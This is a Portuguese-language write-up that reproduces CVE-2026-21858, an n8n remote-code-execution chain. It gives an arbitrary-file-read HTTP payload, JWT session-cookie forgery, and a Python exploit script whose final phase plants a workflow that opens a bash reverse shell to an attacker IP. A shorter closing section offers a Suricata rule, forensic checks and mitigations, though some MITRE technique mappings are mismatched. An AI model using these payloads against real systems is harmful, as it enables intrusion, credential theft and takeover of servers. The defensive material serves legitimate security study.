
Auditoria técnica e reprodução do CVE-2026-21858, uma cadeia de RCE no n8n que explora confusão de Content-Type para leitura arbitrária de arquivos, falsificação de sessão e execução de comandos.
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - Exploração de Cadeia Completa de RCE no n8n
Esta auditoria técnica é baseada nas descobertas de Dor Attias da Cyera Research Labs (9 de novembro de 2025) e inclui etapas de reprodução prontas para uso em ambientes de laboratório REmnux/Kali Linux.
Informações-Chave: Alvo: Versões do n8n >=1.65.0 a <1.121.0.
Vetor de Ataque: Rede (HTTP/HTTPS).
Complexidade: Baixa.
Impacto: Total (Confidencialidade, Integridade e Disponibilidade).
Pontuação EPSS: 0.97 (Probabilidade de exploração muito alta).
Fluxo Normal: Uma solicitação multipart/form-data é processada por parseFormData() (utilizando o parser Formidable), que popula corretamente o objeto req.body.files.
Condição Vulnerável: Se um atacante enviar uma solicitação com Content-Type: application/json, o middleware invoca parseBody(). O JSON enviado é então analisado diretamente em req.body, o que sobrescreve fatalmente a propriedade req.body.files sem validação adicional.
Exploração: A função formWebhook -> prepareFormReturnItem() chama cegamente copyBinaryFile(req.body.files[0].filepath), confiando no caminho do arquivo fornecido no JSON, copiando assim arquivos locais arbitrários para o armazenamento de workflow acessível.
Pré-requisitos: Docker & Docker Compose.
Python 3 com as bibliotecas requests, pyjwt e cryptography.
Netcat (nc) ou Burp Suite para captura de shell.
Etapas de Implantação: Executar Instância Vulnerável:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
Inicialização do Administrador: Acesse http://localhost:5678, crie uma conta de administrador (ex.: [email protected] / Password123!).
Configuração do Workflow: Crie um novo workflow com um nó "Form Trigger" que inclua um campo "File Upload". Ative o workflow e anote a "Test URL".
Payload da Solicitação HTTP:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] Alvos Estratégicos:
/home/node/.n8n/config: Para roubar a N8N_ENCRYPTION_KEY.
/home/node/.n8n/database.sqlite: Para extrair hashes de credenciais de usuários.
Fase 2: Bypass de Autenticação (Falsificação de Sessão) Uma vez obtidos a chave de criptografia e os dados do usuário, o cookie n8n-auth pode ser falsificado.
Lógica de Falsificação de Sessão:
Payload: {"userId":1, "hash": sha256(email + password).slice(0,10)}.
Assinatura: Assinado usando a N8N_ENCRYPTION_KEY com o algoritmo HS256.
Resultado: O cookie gerado permite acesso administrativo completo sem passar pelo processo de login normal.
Fase 3: Execução Remota de Código (RCE) Como administrador (via cookie falsificado), podemos automatizar a criação de um novo workflow contendo um nó "Execute Command".
Payload do Comando: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
Indicadores de Rede (IDS/IPS): Assinatura Suricata: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
Anomalia: Solicitações POST com Content-Type: application/json enviadas ao endpoint /webhook/*/form-endpoint.
Forense Baseada em Host: Sistema de Arquivos: Procure por arquivos de texto suspeitos no diretório ~/.n8n/files/ contendo dados do sistema (ex.: /etc/passwd).
Logs: Audite os logs do n8n para atividade da função prepareFormReturnItem sem dados multipart acompanhantes.
Docker Inspect: Verifique se a versão da imagem é inferior a 1.121.0.
Solução Alternativa: Se a correção não for viável, restrinja o acesso ao endpoint /webhook usando um Web Application Firewall (WAF) para bloquear solicitações JSON suspeitas.
Segmentação de Rede: Isole instâncias do n8n de redes internas sensíveis para prevenir movimento lateral em caso de intrusão.
Execução: T1059 (Command and Scripting Interpreter)
Persistência: T1098 (Account Manipulation via Session Forgery)
Exfiltração: T1083 (File and Directory Discovery)
DISCLAIMER: Esta análise é fornecida exclusivamente para fins educacionais, auditoria de segurança e defesa cibernética profissional sob as instruções do Mestre SASTRA_ADI_WIGUNA. Qualquer uso indevido destas informações para atividades ilegais é de responsabilidade absoluta do operador. A correção em produção é obrigatória.